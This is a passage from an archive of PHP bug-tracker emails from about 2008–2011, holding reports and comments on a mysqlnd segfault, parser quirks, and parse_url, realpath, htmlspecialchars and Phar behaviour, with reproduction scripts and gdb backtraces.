#3  0xb6a87815 in ?? () from /lib/libc.so.6

#4  0xb6a8d6d1 in ?? () from /lib/libc.so.6

#5  0xb6a8ef38 in ?? () from /lib/libc.so.6

#6  0xb6a9203d in free () from /lib/libc.so.6

#7  0x082f8208 in _mysqlnd_pefree (ptr=0x0, persistent=48 '0',
tsrm_ls=0x400) at 

/var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_debug.c:1062

#8  0x082e97c8 in php_mysqlnd_stmt_free_result_bind_pub (s=0x8b56024, 

result_bind=0x8b24a4c, tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2296

#9  0x082e9856 in mysqlnd_stmt_separate_result_bind (s=0x8b56024,
tsrm_ls=value 

optimized out)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2029

#10 0x082e99a3 in php_mysqlnd_stmt_free_stmt_content_pub (s=0x8b56024, 

tsrm_ls=0x891e280) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2125

#11 0x082eb441 in php_mysqlnd_stmt_net_close_priv (s=0x8b56024,
implicit=0 

'\000', tsrm_ls=0x891e280)

at /var

Bug #53716 [Com]: segfault in $stmt-execute()

[max at axismedia dot ru]

Edit report at http://bugs.php.net/bug.php?id=53716edit=1

 ID: 53716
 Comment by: max at axismedia dot ru
 Reported by:anthon dot pang at gmail dot com
 Summary:segfault in $stmt-execute()
 Status: Open
 Type:   Bug
 Package:PDO related
 Operating System:   Ubuntu 10.04
 PHP Version:5.3.5
 Block user comment: N
 Private report: N

 New Comment:

In update to my previous message:



5. If i switch persistent connection off (PDO::ATTR_PERSISTENT = false)


everithing is fine too.


Previous Comments:

[2011-02-09 05:15:32] max at axismedia dot ru

Looks like I have very similar problem. In short php 5.3 in CLI or Apach
module 

mode, PDO compiled againt mysqlnd crashes when using MySQL native
prepared 

queries with segmentation fault.



EXAMPLE SCRIPT



?php



$driver_options = array(PDO::ATTR_ERRMODE=
PDO::ERRMODE_EXCEPTION,.

PDO::MYSQL_ATTR_INIT_COMMAND = SET NAMES
'UTF8';,

PDO::ATTR_PERSISTENT = true,

PDO::MYSQL_ATTR_DIRECT_QUERY = false);



$sql = 'SELECT NOW()';



$pdo = new PDO('mysql:host=localhost;dbname=m_shop', 'max', null, 

$driver_options);

$st = $pdo-prepare($sql, array(PDO::ATTR_CURSOR =
PDO::CURSOR_FWDONLY));

print before execute\n;

$st-execute();

print after execute\n;

$st-closeCursor();



$pdo = null;



?



Output:



office tmp # php bug.php

before execute

after execute

Segmentation fault (core dumped)



BACKTRACE



(gdb) bt

#0  0xb6acb02d in free () from /lib/libc.so.6

#1  0x082f8208 in _mysqlnd_pefree (ptr=0x0, persistent=1 '\001',
tsrm_ls=0x0) at 

/var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_debug.c:1062

#2  0x082e97c8 in php_mysqlnd_stmt_free_result_bind_pub (s=0x8b56024, 

result_bind=0x8b24a60, tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2296

#3  0x082e9856 in mysqlnd_stmt_separate_result_bind (s=0x8b56024,
tsrm_ls=value 

optimized out)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2029

#4  0x082e98d3 in php_mysqlnd_stmt_free_result_pub (s=0x8b56024, 

tsrm_ls=0x891e280) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:1961

#5  0x081e8e11 in pdo_mysql_stmt_cursor_closer (stmt=0x8b24240, 

tsrm_ls=0x891e280) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/pdo_mysql/mysql_statement.c:906

#6  0x081e4471 in zim_PDOStatement_closeCursor (ht=0,
return_value=0x8b24154, 

return_value_ptr=0x0, this_ptr=0x8b24170, return_value_used=0, 

tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/pdo/pdo_stmt.c:2141

#7  0x0839edf1 in zend_do_fcall_common_helper_SPEC
(execute_data=0x8b56058, 

tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend_vm_execute.h:316

#8  0x0839f2f1 in ZEND_DO_FCALL_BY_NAME_SPEC_HANDLER (execute_data=0x1,


tsrm_ls=0x8b24a54) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend_vm_execute.h:421

#9  0x083786a6 in execute (op_array=0x8b23124, tsrm_ls=0x891e280) at 

/var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend_vm_execute.h:107

#10 0x08353317 in zend_execute_scripts (type=8, tsrm_ls=0x891e280,
retval=0x0, 

file_count=3) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/Zend/zend.c:1194

#11 0x082fcee9 in php_execute_script (primary_file=0xbfbfa920, 

tsrm_ls=0x891e280) at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/main/main.c:2265

#12 0x083d6fe6 in main (argc=2, argv=0xbfbfaa24) at
/var/tmp/portage/dev-

lang/php-5.3.5/work/sapis-build/cli/sapi/cli/php_cli.c:1193



NOTES



1. If i do not call $st-closeCursor() i still get segmentation fault
but with a 

bit different backtrace (same problem but on php environment shutdown):



#0  0xe424 in __kernel_vsyscall ()

#1  0xb6a4c401 in raise () from /lib/libc.so.6

#2  0xb6a4db42 in abort () from /lib/libc.so.6

#3  0xb6a87815 in ?? () from /lib/libc.so.6

#4  0xb6a8d6d1 in ?? () from /lib/libc.so.6

#5  0xb6a8ef38 in ?? () from /lib/libc.so.6

#6  0xb6a9203d in free () from /lib/libc.so.6

#7  0x082f8208 in _mysqlnd_pefree (ptr=0x0, persistent=48 '0',
tsrm_ls=0x400) at 

/var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_debug.c:1062

#8  0x082e97c8 in php_mysqlnd_stmt_free_result_bind_pub (s=0x8b56024, 

result_bind=0x8b24a4c, tsrm_ls=0x891e280)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2296

#9  0x082e9856 in mysqlnd_stmt_separate_result_bind (s=0x8b56024,
tsrm_ls=value 

optimized out)

at /var/tmp/portage/dev-lang/php-5.3.5/work/sapis-

build/cli/ext/mysqlnd/mysqlnd_ps.c:2029

#10 0x082e99a3

[PHP-BUG] Bug #53730 [NEW]: mixed classic and new if/else/endif

[max dot wildgrube at web dot de]

From: 
Operating system: 
PHP version:  5.2.17
Package:  *General Issues
Bug Type: Bug
Bug description:mixed classic and new if/else/endif

Description:

---

From manual page: http://www.php.net/migration.if-endif

---



Parser reports an error even the code is correct:

?php

if ( 1 == 2 ):

  echo 'one is the same as two';

  if ( 3 == 3) echo 'liars may tell the truth sometimes';

else:   //this is line 5

  echo 'one is NOT the same as two';

endif;

echo 'br';

?



Parse error: syntax error, unexpected ':' in
/var/www/web4/html/Kunden/shared_tables/app/test.php on line 5



This can be easily hailed by adding a 2nd ';' after the statement in line
4:

... truth sometimes';;



It seems that the parser recognizes 'else:' as 2 syntacital tokens 'else'
and ':' instead of one.



Hint: the real php version is 5.2.6 - I'm an end-user, no idea about
packages. 

Test script:
---
?php

if ( 1 == 2 ):

  echo 'one is the same as two';

  if ( 3 == 3) echo 'liars may tell the truth sometimes';

else:   //this is line 5

  echo 'one is NOT the same as two';

endif;

echo 'br';

?

Expected result:

one is NOT the same as two



Actual result:
--
Parse error: syntax error, unexpected ':' in
/var/www/web4/html/Kunden/shared_tables/app/test.php on line 27





-- 
Edit bug report at http://bugs.php.net/bug.php?id=53730edit=1
-- 
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=53730r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=53730r=trysnapshot53
Try a snapshot (trunk):  
http://bugs.php.net/fix.php?id=53730r=trysnapshottrunk
Fixed in SVN:
http://bugs.php.net/fix.php?id=53730r=fixed
Fixed in SVN and need be documented: 
http://bugs.php.net/fix.php?id=53730r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=53730r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=53730r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=53730r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=53730r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=53730r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=53730r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=53730r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=53730r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=53730r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=53730r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=53730r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=53730r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=53730r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=53730r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=53730r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=53730r=mysqlcfg

[PHP-BUG] Bug #52983 [NEW]: htmlspecialchars returns empty string

[max at bitrix dot ru]

From: 
Operating system: Linux slamp 2.6.32-24-generic-pa
PHP version:  trunk-SVN-2010-10-04 (SVN)
Package:  Unknown/Other Function
Bug Type: Bug
Bug description:htmlspecialchars returns empty string

Description:

ext/standard/html.c has svn commit with revision #296685.

This changed default character set.

So now htmlspecialchars returns an empty result with any (non utf) cyrillic
input.



Test script:
---
echo htmlspecialchars(папа);

Expected result:

папа

Actual result:
--
an empty string

-- 
Edit bug report at http://bugs.php.net/bug.php?id=52983edit=1
-- 
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=52983r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=52983r=trysnapshot53
Try a snapshot (trunk):  
http://bugs.php.net/fix.php?id=52983r=trysnapshottrunk
Fixed in SVN:
http://bugs.php.net/fix.php?id=52983r=fixed
Fixed in SVN and need be documented: 
http://bugs.php.net/fix.php?id=52983r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=52983r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=52983r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=52983r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=52983r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=52983r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=52983r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=52983r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=52983r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=52983r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=52983r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=52983r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=52983r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=52983r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=52983r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=52983r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=52983r=mysqlcfg

[PHP-BUG] Bug #52851 [NEW]: Bug with eval() parsing strings

[max at dteam dot us]

From: 
Operating system: Windows
PHP version:  5.3.3
Package:  Strings related
Bug Type: Bug
Bug description:Bug with eval() parsing strings

Description:

eval() function seems to work improperly with double [[ chars in string.

Test script:
---
?php

$bogus_str = [[hello!]] brackets;

$code = echo $bogus_str;;



echo $bogus_str;

eval($code);

?

Expected result:

[[hello!]] brackets[[hello!]] brackets

Actual result:
--
[[hello!]] brackets Parse error: syntax error, unexpected '[' in
C:\xampp\htdocs\test.php(6) : eval()'d code on line 1

-- 
Edit bug report at http://bugs.php.net/bug.php?id=52851edit=1
-- 
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=52851r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=52851r=trysnapshot53
Try a snapshot (trunk):  
http://bugs.php.net/fix.php?id=52851r=trysnapshottrunk
Fixed in SVN:
http://bugs.php.net/fix.php?id=52851r=fixed
Fixed in SVN and need be documented: 
http://bugs.php.net/fix.php?id=52851r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=52851r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=52851r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=52851r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=52851r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=52851r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=52851r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=52851r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=52851r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=52851r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=52851r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=52851r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=52851r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=52851r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=52851r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=52851r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=52851r=mysqlcfg

Bug #52851 [Com]: Bug with eval() parsing strings

[max at dteam dot us]

Edit report at http://bugs.php.net/bug.php?id=52851edit=1

 ID: 52851
 Comment by: max at dteam dot us
 Reported by:max at dteam dot us
 Summary:Bug with eval() parsing strings
 Status: Bogus
 Type:   Bug
 Package:Strings related
 Operating System:   Windows
 PHP Version:5.3.3
 Block user comment: N

 New Comment:

Well, I suppose after a second thought this is not actially a bug. But
the way than eval() treats passed code is anyway kind of funny. I faced
the problem when i was writing a snippet for MODX CMS. Seems like eval
doesn't really care what quotes are used in code. They should be escaped
somehow because there is so much ways where it's difficult to know how
exactly the eval() was executed in framework.


Previous Comments:

[2010-09-15 12:17:15] ahar...@php.net

Sorry, but your problem does not imply a bug in PHP itself.  For a
list of more appropriate places to ask for help using PHP, please
visit http://www.php.net/support.php as this bug system is not the
appropriate forum for asking support questions.  Due to the volume
of reports we can not explain in detail here why your report is not
a bug.  The support channels will be able to provide an explanation
for you.

Thank you for your interest in PHP.




[2010-09-15 12:15:30] max at dteam dot us

Description:

eval() function seems to work improperly with double [[ chars in string.

Test script:
---
?php

$bogus_str = [[hello!]] brackets;

$code = echo $bogus_str;;



echo $bogus_str;

eval($code);

?

Expected result:

[[hello!]] brackets[[hello!]] brackets

Actual result:
--
[[hello!]] brackets Parse error: syntax error, unexpected '[' in
C:\xampp\htdocs\test.php(6) : eval()'d code on line 1






-- 
Edit this bug report at http://bugs.php.net/bug.php?id=52851edit=1

[PHP-BUG] Req #51918 [NEW]: Phar::webPhar() does not handle requests sent through PUT and DELETE method

[max dot romanovsky at gmail dot com]

From: 
Operating system: FreeBSD
PHP version:  5.3.2
Package:  PHAR related
Bug Type: Feature/Change Request
Bug description:Phar::webPhar() does not handle requests sent through PUT and 
DELETE method

Description:

Phar::webPhar() does not handle requests sent through PUT and DELETE
request method.

Test script:
---
PUT /REST/foo HTTP/1.1

host: example.com

Content-Length: 2

12





HTTP/1.1 200 OK

Server: nginx/0.8.36

Date: Tue, 25 May 2010 14:01:42 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.2



0


-- 
Edit bug report at http://bugs.php.net/bug.php?id=51918edit=1
-- 
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=51918r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=51918r=trysnapshot53
Try a snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=51918r=trysnapshot60
Fixed in SVN:
http://bugs.php.net/fix.php?id=51918r=fixed
Fixed in SVN and need be documented: 
http://bugs.php.net/fix.php?id=51918r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=51918r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=51918r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=51918r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=51918r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=51918r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=51918r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=51918r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=51918r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=51918r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=51918r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=51918r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=51918r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=51918r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=51918r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=51918r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=51918r=mysqlcfg

#44093 [NoF-Opn]: ignore_user_abort() sometimes do not work !

[max at tehnomir dot com dot ua]

 ID:   44093
 User updated by:  max at tehnomir dot com dot ua
 Reported By:  max at tehnomir dot com dot ua
-Status:   No Feedback
+Status:   Open
 Bug Type: *General Issues
 Operating System: Linux 2.6.20.2
 PHP Version:  5.2.5
 New Comment:

Two years past. no result :(


Previous Comments:


[2008-09-18 07:53:03] taworn at yahoo dot com

I can confirm this bug, too.  Even with ignore_user_abort(TRUE).

However, after I changed from using PHP as CGI to Apache module, its
work.

Taworn T.



[2008-07-17 12:16:32] marcus dot mueller at grintsch dot com

I can confirm this bug still being reproducible in PHP 5.2.6 on Linux
2.6.24 and above. Any news?



[2008-04-26 13:50:13] pcdinh at gmail dot com

This bug remains still. I can reproduce it on PHP 5.2.5 and latest PHP
5.3dev (Windows XP SP2)

Maximum execution time of 60 seconds exceeded in
D:\webroot\bugs\44093.php



[2008-04-02 01:00:02] php-bugs at lists dot php dot net

No feedback was provided for this bug for over a week, so it is
being suspended automatically. If you are able to provide the
information that was originally requested, please do so and change
the status of the bug back to Open.



[2008-03-25 14:01:43] j...@php.net

Please try using this CVS snapshot:

  http://snaps.php.net/php5.2-latest.tar.gz
 
For Windows (zip):
 
  http://snaps.php.net/win32/php5.2-win32-latest.zip

For Windows (installer):

  http://snaps.php.net/win32/php5.2-win32-installer-latest.msi





The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/44093

-- 
Edit this bug report at http://bugs.php.net/?id=44093edit=1

#50484 [NEW]: parse_url can't handle with url, where password part contains slash /

[max dot antonoff at gmail dot com]

From: max dot antonoff at gmail dot com
Operating system: Linux 2.6.31
PHP version:  5.3.1
PHP Bug Type: URL related
Bug description:  parse_url can't handle with url, where password part contains 
slash /

Description:

parse_url can not handle password part, if it contains slash. 

Reproduce code:
---
php -r
print_r(parse_url('test://fuuu:de/s...@folsd/lala?fio=9slsl=290sk'));
Array
(
[scheme] = test
[host] = fuuu
[path] = /s...@folsd/lala
[query] = fio=9slsl=290sk
)

Expected result:

Array
(
[scheme] = test
[host] = folsd
[user] = fuuu
[pass] = de/st
[path] = /lala
[query] = fio=9slsl=290sk
)



-- 
Edit bug report at http://bugs.php.net/?id=50484edit=1
-- 
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=50484r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=50484r=trysnapshot53
Try a snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=50484r=trysnapshot60
Fixed in SVN:
http://bugs.php.net/fix.php?id=50484r=fixed
Fixed in SVN and need be documented: 
http://bugs.php.net/fix.php?id=50484r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=50484r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=50484r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=50484r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=50484r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=50484r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=50484r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=50484r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=50484r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=50484r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=50484r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=50484r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=50484r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=50484r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=50484r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=50484r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=50484r=mysqlcfg

#50371 [NEW]: realpath() returns path to nonexistent file/folder

[max at kosyakov dot net]

From: max at kosyakov dot net
Operating system: FreeBSD
PHP version:  5.2.11
PHP Bug Type: Filesystem function related
Bug description:  realpath() returns path to nonexistent file/folder 

Description:

realpath() returns path for the folder that does not exists. 

First appeared on php-5.2.8 on FreeBSD 6.1. I have upgraded to php-5.2.1,
however the bug persisted

%php -r '$test = asdfasdf; var_dump(realpath($test));
var_dump(file_exists(realpath($test)));'
string(27) /usr/home/kosyakov/asdfasdf
bool(false)

%php -v
PHP 5.2.11 (cli) (built: Dec  3 2009 17:26:14)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
with the ionCube PHP Loader v3.1.32, Copyright (c) 2002-2007, by
ionCube Ltd.

%uname -imprsv
FreeBSD 6.1-RELEASE FreeBSD 6.1-RELEASE #0: Sun May  7 04:32:43 UTC 2006  
  r...@opus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386 i386
GENERIC

%more /usr/soft/php-5.2.11/config.nice
#! /bin/sh
#
# Created by configure

'./configure' \
'--with-apxs2=/usr/local/apache2/bin/apxs' \
'--with-mysql=/usr/local/mysql' \
'--with-config-file-path=/usr/local/apache2/conf' \
'--with-gd' \
'--with-png-dir=/usr/local' \
'--with-jpeg-dir=/usr/local' \
'--with-freetype-dir=/usr/local' \
'--with-zlib-dir=/usr' \
'--with-iconv=/usr/local' \
'--enable-ftp' \
'--with-curl=/usr/local' \
'--with-openssl' \
'--enable-soap' \
'--with-pdo-mysql=/usr/local/mysql' \
'--with-mime-magic' \
'--enable-mbstring' \
'--without-sqlite' \
'--with-pdo-sqlite=/usr/local' \
'--enable-bcmath' \
$@

Bugs #43060 and #32627 look like the same bug but it is still
reproducible.

Reproduce code:
---
---
From manual page: function.realpath#Description
---

$test = asdfasdf; 
var_dump(realpath($test)); 
var_dump(file_exists(realpath($test)));'


Expected result:

bool(false)
bool(false)


Actual result:
--
string(27) /usr/home/kosyakov/asdfasdf
bool(false)

-- 
Edit bug report at http://bugs.php.net/?id=50371edit=1
-- 
Try a snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=50371r=trysnapshot52
Try a snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=50371r=trysnapshot53
Try a snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=50371r=trysnapshot60
Fixed in SVN:
http://bugs.php.net/fix.php?id=50371r=fixed
Fixed in SVN and need be documented: 
http://bugs.php.net/fix.php?id=50371r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=50371r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=50371r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=50371r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=50371r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=50371r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=50371r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=50371r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=50371r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=50371r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=50371r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=50371r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=50371r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=50371r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=50371r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=50371r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=50371r=mysqlcfg

#50371 [Fbk-Opn]: realpath() returns path to nonexistent file/folder

[max at kosyakov dot net]

 ID:   50371
 User updated by:  max at kosyakov dot net
 Reported By:  max at kosyakov dot net
-Status:   Feedback
+Status:   Open
 Bug Type: Filesystem function related
 Operating System: FreeBSD
 PHP Version:  5.2.11
 New Comment:

Yes, it does return false:

FreeBSD 6.1-RELEASE (GENERIC) #0: Sun May  7 04:32:43 UTC 2006
%php -r var_dump(realpath('/non/existent'));
bool(false)
%


Previous Comments:


[2009-12-04 04:45:52] j...@php.net

What does this return: 

# php -r 'var_dump(realpath(/non/existent));'



[2009-12-04 04:44:41] j...@php.net

Must be some FreeBSD thing since I get false with both calls.



[2009-12-03 23:01:22] carsten_sttgt at gmx dot de

 %php -r '$test = asdfasdf; var_dump(realpath($test));

I guess
| %php -r var_dump(realpath('/non/existent'));
is returing false?



[2009-12-03 12:08:42] max at kosyakov dot net

Description:

realpath() returns path for the folder that does not exists. 

First appeared on php-5.2.8 on FreeBSD 6.1. I have upgraded to
php-5.2.1, however the bug persisted

%php -r '$test = asdfasdf; var_dump(realpath($test));
var_dump(file_exists(realpath($test)));'
string(27) /usr/home/kosyakov/asdfasdf
bool(false)

%php -v
PHP 5.2.11 (cli) (built: Dec  3 2009 17:26:14)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
with the ionCube PHP Loader v3.1.32, Copyright (c) 2002-2007, by
ionCube Ltd.

%uname -imprsv
FreeBSD 6.1-RELEASE FreeBSD 6.1-RELEASE #0: Sun May  7 04:32:43 UTC
2006 r...@opus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
i386 GENERIC

%more /usr/soft/php-5.2.11/config.nice
#! /bin/sh
#
# Created by configure

'./configure' \
'--with-apxs2=/usr/local/apache2/bin/apxs' \
'--with-mysql=/usr/local/mysql' \
'--with-config-file-path=/usr/local/apache2/conf' \
'--with-gd' \
'--with-png-dir=/usr/local' \
'--with-jpeg-dir=/usr/local' \
'--with-freetype-dir=/usr/local' \
'--with-zlib-dir=/usr' \
'--with-iconv=/usr/local' \
'--enable-ftp' \
'--with-curl=/usr/local' \
'--with-openssl' \
'--enable-soap' \
'--with-pdo-mysql=/usr/local/mysql' \
'--with-mime-magic' \
'--enable-mbstring' \
'--without-sqlite' \
'--with-pdo-sqlite=/usr/local' \
'--enable-bcmath' \
$@

Bugs #43060 and #32627 look like the same bug but it is still
reproducible.

Reproduce code:
---
---
From manual page: function.realpath#Description
---

$test = asdfasdf; 
var_dump(realpath($test)); 
var_dump(file_exists(realpath($test)));'


Expected result:

bool(false)
bool(false)


Actual result:
--
string(27) /usr/home/kosyakov/asdfasdf
bool(false)





-- 
Edit this bug report at http://bugs.php.net/?id=50371edit=1

#50371 [Fbk-Opn]: realpath() returns path to nonexistent file/folder

[max at kosyakov dot net]

 ID:   50371
 User updated by:  max at kosyakov dot net
 Reported By:  max at kosyakov dot net
-Status:   Feedback
+Status:   Open
 Bug Type: Filesystem function related
 Operating System: FreeBSD
 PHP Version:  5.2.11
 New Comment:

%ls -l /usr/home/kosyakov/asdfasdf
ls: /usr/home/kosyakov/asdfasdf: No such file or directory

Ok. I'll try to update to 5.3. But is there a way to get it fixed in
the 5.2 branch? I need to maintain compatibility of software we develop
with php-5.2 and thus need to run this version on our servers.

Thanks for your assistance.


Previous Comments:


[2009-12-04 07:32:49] j...@php.net

Also, did you notice this note on the manual page
http://php.net/realpath

5.3.0   Prior to this release realpath() would not fail on *BSD
systems if only the last last path  component did not exist. 




[2009-12-04 07:31:00] j...@php.net

And what does this output:

# ls -l /usr/home/kosyakov/asdfasdf




[2009-12-04 07:27:12] max at kosyakov dot net

Yes, it does return false:

FreeBSD 6.1-RELEASE (GENERIC) #0: Sun May  7 04:32:43 UTC 2006
%php -r var_dump(realpath('/non/existent'));
bool(false)
%



[2009-12-04 04:45:52] j...@php.net

What does this return: 

# php -r 'var_dump(realpath(/non/existent));'



[2009-12-04 04:44:41] j...@php.net

Must be some FreeBSD thing since I get false with both calls.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/50371

-- 
Edit this bug report at http://bugs.php.net/?id=50371edit=1

#49078 [Com]: Make Failed sapi/cli/php Error 1

[max at tnug dot com]

 ID:   49078
 Comment by:   max at tnug dot com
 Reported By:  kdprice at baylou dot com
 Status:   Feedback
 Bug Type: Compile Failure
 Operating System: CentOS 5
